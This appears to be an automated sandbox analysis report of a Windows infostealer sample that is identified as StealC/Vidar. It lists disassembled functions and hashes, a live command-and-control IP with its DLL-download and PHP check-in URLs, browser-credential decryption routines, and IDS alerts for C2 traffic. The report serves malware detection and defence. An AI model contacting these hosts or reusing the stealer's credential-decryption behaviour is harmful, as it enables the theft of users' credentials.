Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e91213031d461f28ccd46bae4990cd985bf1fc77c694a350c2d006e59ea0ddb8
Instruction ID: f4e29f30af5ccada1ac10a76bcf5cf2810755d3cfde2707cd5a83fef9d7872fd
Opcode Fuzzy Hash: e91213031d461f28ccd46bae4990cd985bf1fc77c694a350c2d006e59ea0ddb8
Instruction Fuzzy Hash: 939133B281010C9ACB18FBA0DC56DFE7378AF54300F549179F61BBA095EF746A49CB62

Function 6C7D5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C7D5D40
EnterCriticalSection.KERNEL32(6C83F688), ref: 6C7D5D67
__aulldiv.LIBCMT ref: 6C7D5DB4
LeaveCriticalSection.KERNEL32(6C83F688), ref: 6C7D5DED

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1dba7b171138ce4393a0b297c44ad63ad64874172162937f4bf8906e4f5bd740
Instruction ID: 48c93a76e8284f7efd2df8325e03b6bb5386a8a373c2b3142f55c1054f6dbdd3
Opcode Fuzzy Hash: 1dba7b171138ce4393a0b297c44ad63ad64874172162937f4bf8906e4f5bd740
Instruction Fuzzy Hash: A1519EB1F001558FCF28CFA8C985AAEBBB1FB95308F1A5A69C815A7750D7306D45CBD0

Function 00EF3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: ccdaaef7d279fac3e637f15dea8719096989a406611535ea97253a953114ce5a
Instruction ID: c7263889c0f82caca63b78d81b81274b058b25bed2d0b4693eb8d7c719f7b79e
Opcode Fuzzy Hash: ccdaaef7d279fac3e637f15dea8719096989a406611535ea97253a953114ce5a
Instruction Fuzzy Hash: E5413FB1D1010DABCB04EFB4D845AFEB7B4AF44305F049028F616BA290DB74AA45DBA2

Function 6C7F6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7F82BC,?,?), ref: 6C7F649B

Part of subcall function 6C7CCA10: malloc.MOZGLUE(?), ref: 6C7CCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F64A9

Part of subcall function 6C7EFA80: GetCurrentThreadId.KERNEL32 ref: 6C7EFA8D
Part of subcall function 6C7EFA80: AcquireSRWLockExclusive.KERNEL32(6C83F448), ref: 6C7EFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F653F
free.MOZGLUE(?), ref: 6C7F655A

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9e3e5693ff2ea886477edc7cb14921db356fd051c6d829dcae67a737cd3da2de
Instruction ID: ff2f1e5b6e50452d77b211a6d76f9596af711ecb7668f14158050cec8ad96e8a
Opcode Fuzzy Hash: 9e3e5693ff2ea886477edc7cb14921db356fd051c6d829dcae67a737cd3da2de
Instruction Fuzzy Hash: 6A3161B5A043159FD700DF14D98469ABBE4FF89318F10482DE85A97741DB34EA19CBD2

Function 6C7CB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7CB4F5
AcquireSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7CB502
ReleaseSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7CB542
free.MOZGLUE(?), ref: 6C7CB578

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 1df04530a6880dabbaf09826556a96e6803c831eed9239ad76563aeaf6537a5a
Instruction ID: abda519f69c7fc9abbadb39d0c748f1046971d93a464b2604c0cc388c33e5cb5
Opcode Fuzzy Hash: 1df04530a6880dabbaf09826556a96e6803c831eed9239ad76563aeaf6537a5a
Instruction Fuzzy Hash: 3411D530A04B42CBD3318F69D604762B3B4FF96319F106B6AE84957A02EBB1B5C5C7D1

Function 00EFC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EFC74E

Part of subcall function 00EFBF9F: __amsg_exit.LIBCMT ref: 00EFBFAF

__getptd.LIBCMT ref: 00EFC765
__amsg_exit.LIBCMT ref: 00EFC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00EFC797

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 7fd9f046e01f088eba22c49d6cb3be0a40778a34e974de04f40504cee77fdab6
Instruction ID: fa5c7443c8f773e1db080e1bfc23aa2442b07fccd3924a9c5c8bfda79986c346
Opcode Fuzzy Hash: 7fd9f046e01f088eba22c49d6cb3be0a40778a34e974de04f40504cee77fdab6
Instruction Fuzzy Hash: 2CF09A32A0430C9BD720BBB89D06B7A33E06F00724F38614AF714BA1D2EB685940EE56

Function 6C8085B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C8085D3

Part of subcall function 6C7CCA10: malloc.MOZGLUE(?), ref: 6C7CCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C808725

Strings

map/set<T> too long, xrefs: 6C808720

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b1c7901f30cb1cd52eee0eb5e71660aad3d122443614d6c00922b6cf00613b19
Instruction ID: 6dd641311194aac0d493f5333ffd6386c00fe89deb7b97ccc057eb79990e15f4
Opcode Fuzzy Hash: b1c7901f30cb1cd52eee0eb5e71660aad3d122443614d6c00922b6cf00613b19
Instruction Fuzzy Hash: 89518774600645CFD711CF18CA88A56BBF1BF4A318F19C99AD8695BB52C334EC85CF92

Function 6C7BBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C7BBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7BBE8F

Strings

0, xrefs: 6C7BBE5B

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 41747dd3b8d9238f32e6526283857f524ef66673add5ca4693032e8e03c7afe9
Instruction ID: bc8e368c953a2d3446991ab79067f139bea0d16d247865b45817b60fd24c46f6
Opcode Fuzzy Hash: 41747dd3b8d9238f32e6526283857f524ef66673add5ca4693032e8e03c7afe9
Instruction Fuzzy Hash: 6D419071909745DFC711CF38C5C199BB7E8AF8A348F004A2DFD8567621D730E9498B82

Function 6C7F3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7F3D19
mozalloc_abort.MOZGLUE(?), ref: 6C7F3D6C

Strings

d, xrefs: 6C7F3D58

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: fe1ff99925f00082701d6fa08d5a4c1fbcc1bcd0276cc11f3c210a2167514f71
Instruction ID: 5487c9d79ff8acbd7a0a15677fe2e4ec205ff22101c3228d6b89627c9e336618
Opcode Fuzzy Hash: fe1ff99925f00082701d6fa08d5a4c1fbcc1bcd0276cc11f3c210a2167514f71
Instruction Fuzzy Hash: 4E110431E04688D7DB108BA9CD5A4EDB775EF86318B449229DC589B702EB30A985C3E1

Function 6C816DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C816E22
__Init_thread_footer.LIBCMT ref: 6C816E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C816E1D

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: be5d72f751ca87f730a3151c0df11c0d20e5f1dcbc5899d6cfb6440cadb3d455
Instruction ID: 7f87133fedd1fc1fa28d75a2f89e2b057351d2abcb4c89d82cdbe4c678f0d01c
Opcode Fuzzy Hash: be5d72f751ca87f730a3151c0df11c0d20e5f1dcbc5899d6cfb6440cadb3d455
Instruction Fuzzy Hash: AFF0F0317092428BDE309AE8CA54E913BB1972221CF142EB6C48986F61E720ED06CAD2

Function 6C80B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C80B2C9,?,?,?,6C80B127,?,?,?,?,?,?,?,?,?,6C80AE52), ref: 6C80B628

Part of subcall function 6C8090E0: free.MOZGLUE(?,00000000,?,?,6C80DEDB), ref: 6C8090FF
Part of subcall function 6C8090E0: free.MOZGLUE(?,00000000,?,?,6C80DEDB), ref: 6C809108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C80B2C9,?,?,?,6C80B127,?,?,?,?,?,?,?,?,?,6C80AE52), ref: 6C80B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C80B2C9,?,?,?,6C80B127,?,?,?,?,?,?,?,?,?,6C80AE52), ref: 6C80B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C80B127,?,?,?,?,?,?,?,?), ref: 6C80B74D

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 700cb24286943c17ef61fac9a1bd91a55fe797063cadb1f74c8b1d8b0debbfe8
Instruction ID: c5b07717580a8ffda35afeb535db5c6ddd3899263db5d8a7de9bc5e2432e29b5
Opcode Fuzzy Hash: 700cb24286943c17ef61fac9a1bd91a55fe797063cadb1f74c8b1d8b0debbfe8
Instruction Fuzzy Hash: 0A51ACB5B052168BDB34CF58CE8066EB7B5FF86305F558929C85AAB710DB31AC04CBA1

Function 6C81B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C7C0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C7C0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C7C0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C7C0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81B67F

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 335dec985158ebc7abaf1ff90ce044b88ff6b72d79b0efbdd32c8e33e8c4a29f
Instruction ID: ee506413c07306040044110bbdf03497b45b73d55073fec378f24412f8b90a13
Opcode Fuzzy Hash: 335dec985158ebc7abaf1ff90ce044b88ff6b72d79b0efbdd32c8e33e8c4a29f
Instruction Fuzzy Hash: E031D8F19052168FDB20CF58C99466AB7F5FF91304F168A69C80A9B701DB31ED15CBD1

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.ee0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.ee0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00EE9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00EEC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00EE9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00EE7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00EF8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C7C6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49706 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49706 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49706 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49706 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

